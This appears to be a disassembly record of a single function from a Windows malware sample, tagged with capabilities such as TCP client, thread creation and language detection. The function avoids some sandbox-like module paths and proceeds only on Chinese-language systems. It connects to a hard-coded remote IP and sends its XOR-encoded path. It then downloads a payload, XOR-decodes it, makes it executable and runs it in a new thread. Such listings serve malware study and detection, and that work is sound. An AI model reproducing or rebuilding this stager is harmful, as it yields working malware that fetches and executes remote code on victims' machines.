Function at 0x403e50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Identify system language via api
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416986
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x7c8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.task_has_been_done_n
call fcn.004063b2
add esp, 4
xor eax, eax
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2d0], ecx
lea edx, [ebp - 0x2e0]
push edx
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov word [ebp - 0x120], ax
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 4], 0
push 0x400
push 0
lea ecx, [ebp - 0x768]
push ecx
call fcn.0040b0a0
add esp, 0xc
push 0x400
lea edx, [ebp - 0x768]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x304], eax
mov dword [ebp - 0x334], 0
lea eax, [ebp - 0x768]
mov dword [ebp - 0x310], eax
mov ecx, dword [ebp - 0x310]
movsx edx, byte [ecx]
test edx, edx
je 0x403f7f
mov eax, dword [ebp - 0x310]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x403f6e
mov edx, dword [ebp - 0x334]
add edx, 1
mov dword [ebp - 0x334], edx
mov eax, dword [ebp - 0x310]
add eax, 1
mov dword [ebp - 0x310], eax
jmp 0x403f44
cmp dword [ebp - 0x334], 2
jne 0x4040d4
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x310], ecx
mov edx, dword [ebp - 0x310]
movsx eax, byte [edx]
test eax, eax
je 0x403fc4
mov ecx, dword [ebp - 0x310]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x403fc4
mov eax, dword [ebp - 0x310]
add eax, 1
mov dword [ebp - 0x310], eax
jmp 0x403f98
mov ecx, dword [ebp - 0x310]
add ecx, 1
mov dword [ebp - 0x310], ecx
mov dword [ebp - 0x76c], 0
mov edx, dword [ebp - 0x310]
movsx eax, byte [edx]
test eax, eax
je 0x404018
mov ecx, dword [ebp - 0x310]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x404018
mov eax, dword [ebp - 0x76c]
add eax, 1
mov dword [ebp - 0x76c], eax
mov ecx, dword [ebp - 0x310]
add ecx, 1
mov dword [ebp - 0x310], ecx
jmp 0x403fdd
cmp dword [ebp - 0x76c], 7
jne 0x4040cf
movsx edx, byte [ebp - 0x768]
cmp edx, 0x43
jne 0x4040cf
movsx eax, byte [ebp - 0x767]
cmp eax, 0x3a
jne 0x4040cf
call fcn.004019f0
mov dword [ebp - 0x778], eax
call fcn.00401b90
mov dword [ebp - 0x770], eax
call fcn.00401d30
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x778], 0
jne 0x40407e
lea ecx, [ebp - 0x778]
push ecx
call fcn.00403bc0
add esp, 4
lea edx, [ebp - 0x774]
push edx
lea eax, [ebp - 0x770]
push eax
lea ecx, [ebp - 0x778]
push ecx
call fcn.00403dc0
add esp, 0xc
mov edx, dword [ebp - 0x778]
push edx
call fcn.00401ad0
add esp, 4
mov eax, dword [ebp - 0x770]
push eax
call fcn.00401c70
add esp, 4
mov ecx, dword [ebp - 0x774]
push ecx
call fcn.00401e10
add esp, 4
xor eax, eax
jmp 0x404710
jmp 0x404239
cmp dword [ebp - 0x334], 7
jne 0x404239
lea edx, [ebp - 0x768]
mov dword [ebp - 0x310], edx
mov dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x310]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40412f
mov edx, dword [ebp - 0x310]
movsx eax, byte [edx]
cmp eax, 0x5c
jne 0x40411e
mov ecx, dword [ebp - 0x310]
mov dword [ebp - 0x77c], ecx
mov edx, dword [ebp - 0x310]
add edx, 1
mov dword [ebp - 0x310], edx
jmp 0x4040f7
cmp dword [ebp - 0x77c], 0
je 0x404239
mov dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x310], eax
mov ecx, dword [ebp - 0x310]
movsx edx, byte [ecx]
test edx, edx
je 0x404182
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x310]
add ecx, 1
mov dword [ebp - 0x310], ecx
jmp 0x404155
cmp dword [ebp - 0x780], 0x16
jne 0x404239
movsx edx, byte [ebp - 0x743]
cmp edx, 0x54
jne 0x404239
movsx eax, byte [ebp - 0x742]
cmp eax, 0x65
jne 0x404239
call fcn.004019f0
mov dword [ebp - 0x78c], eax
call fcn.00401b90
mov dword [ebp - 0x784], eax
call fcn.00401d30
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x78c], 0
jne 0x4041e8
lea ecx, [ebp - 0x78c]
push ecx
call fcn.00403bc0
add esp, 4
lea edx, [ebp - 0x788]
push edx
lea eax, [ebp - 0x784]
push eax
lea ecx, [ebp - 0x78c]
push ecx
call fcn.00403dc0
add esp, 0xc
mov edx, dword [ebp - 0x78c]
push edx
call fcn.00401ad0
add esp, 4
mov eax, dword [ebp - 0x784]
push eax
call fcn.00401c70
add esp, 4
mov ecx, dword [ebp - 0x788]
push ecx
call fcn.00401e10
add esp, 4
xor eax, eax
jmp 0x404710
movzx edx, word [ebp - 0x120]
cmp edx, 0x804
je 0x4042e8
movzx eax, word [ebp - 0x120]
cmp eax, 0x404
je 0x4042e8
call fcn.004019f0
mov dword [ebp - 0x798], eax
call fcn.00401b90
mov dword [ebp - 0x790], eax
call fcn.00401d30
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x798], 0
jne 0x404297
lea ecx, [ebp - 0x798]
push ecx
call fcn.00403bc0
add esp, 4
lea edx, [ebp - 0x794]
push edx
lea eax, [ebp - 0x790]
push eax
lea ecx, [ebp - 0x798]
push ecx
call fcn.00403dc0
add esp, 0xc
mov edx, dword [ebp - 0x798]
push edx
call fcn.00401ad0
add esp, 4
mov eax, dword [ebp - 0x790]
push eax
call fcn.00401c70
add esp, 4
mov ecx, dword [ebp - 0x794]
push ecx
call fcn.00401e10
add esp, 4
xor eax, eax
jmp 0x404710
lea edx, [ebp - 0x2b8]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x124], eax
mov eax, 2
mov word [ebp - 0x2f8], ax
push 0x41ade0
lea ecx, [ebp - 0x330]
call fcn.00404760
mov dword [ebp - 0x7d0], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x330]
push ecx
push str.43.139
lea edx, [ebp - 0x7c0]
push edx
call fcn.00405080
add esp, 0xc
mov dword [ebp - 0x7d4], eax
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x7d8], eax
mov byte [ebp - 4], 2
push str.119.214
mov ecx, dword [ebp - 0x7d8]
push ecx
lea edx, [ebp - 0x364]
push edx
call fcn.00405130
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x7c0]
call fcn.00404850
push 0xe
push 0
lea ecx, [ebp - 0x364]
call fcn.00404870
push eax
lea eax, [ebp - 0x348]
push eax
call fcn.00406810
add esp, 0xc
mov byte [ebp - 0x33a], 0
lea ecx, [ebp - 0x348]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x2f4], eax
push 0x41adf4
call fcn.0040694a
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2f6], ax
push 0x10
lea edx, [ebp - 0x2f8]
push edx
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.WS2_32.dll_connect]
push 0
push 1
push 0x41adf8
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp dword [ebp - 0x304], 0
je 0x404481
mov dword [ebp - 0x79c], 0
jmp 0x404431
mov edx, dword [ebp - 0x79c]
add edx, 1
mov dword [ebp - 0x79c], edx
mov eax, dword [ebp - 0x79c]
cmp eax, dword [ebp - 0x304]
jae 0x404462
mov ecx, dword [ebp - 0x79c]
movsx edx, byte [ebp + ecx - 0x768]
xor edx, 0x88
mov eax, dword [ebp - 0x79c]
mov byte [ebp + eax - 0x768], dl
jmp 0x404422
push 0
mov ecx, dword [ebp - 0x304]
push ecx
lea edx, [ebp - 0x768]
push edx
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x4044b0
mov dword [ebp - 0x7c4], 0
lea ecx, [ebp - 0x364]
call fcn.00404850
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x330]
call fcn.00404850
mov eax, dword [ebp - 0x7c4]
jmp 0x404710
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0x12c
push 0x190
push connect
push connect
push 0xcf0000
push str.Window
lea edx, [ebp - 0x768]
push edx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
xor eax, eax
mov dword [ebp - 0x314], eax
push 0
push 4
lea ecx, [ebp - 0x314]
push ecx
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x30c], eax
push 4
push 0x1000
mov ecx, dword [ebp - 0x30c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x338], eax
mov edx, dword [ebp - 0x30c]
push edx
push 0
mov eax, dword [ebp - 0x338]
push eax
call fcn.0040b0a0
add esp, 0xc
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x308], 0
mov ecx, 1
test ecx, ecx
je 0x40463a
push 0
mov edx, dword [ebp - 0x30c]
sub edx, dword [ebp - 0x300]
push edx
mov eax, dword [ebp - 0x338]
add eax, dword [ebp - 0x300]
push eax
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0xffffffff
jne 0x4045d7
mov dword [ebp - 0x7c8], 0
lea ecx, [ebp - 0x364]
call fcn.00404850
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x330]
call fcn.00404850
mov eax, dword [ebp - 0x7c8]
jmp 0x404710
cmp dword [ebp - 0x308], 0
jne 0x404611
mov dword [ebp - 0x7cc], 0
lea ecx, [ebp - 0x364]
call fcn.00404850
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x330]
call fcn.00404850
mov eax, dword [ebp - 0x7cc]
jmp 0x404710
mov edx, dword [ebp - 0x300]
add edx, dword [ebp - 0x308]
mov dword [ebp - 0x300], edx
mov eax, dword [ebp - 0x300]
cmp eax, dword [ebp - 0x30c]
jge 0x404633
jmp 0x404635
jmp 0x40463a
jmp 0x404561
mov dword [ebp - 0x7a0], 0
jmp 0x404655
mov ecx, dword [ebp - 0x7a0]
add ecx, 1
mov dword [ebp - 0x7a0], ecx
mov edx, dword [ebp - 0x7a0]
cmp edx, dword [ebp - 0x30c]
jae 0x404688
mov eax, dword [ebp - 0x338]
add eax, dword [ebp - 0x7a0]
movsx ecx, byte [eax]
xor ecx, 0x88
mov edx, dword [ebp - 0x338]
add edx, dword [ebp - 0x7a0]
mov byte [edx], cl
jmp 0x404646
lea eax, [ebp - 0x2fc]
push eax
push 0x20
mov ecx, dword [ebp - 0x30c]
push ecx
mov edx, dword [ebp - 0x338]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x2e8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x338]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x2e4], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.00405a4f
lea ecx, [ebp - 0x364]
call fcn.00404850
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x330]
call fcn.00404850
jmp 0x404704
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10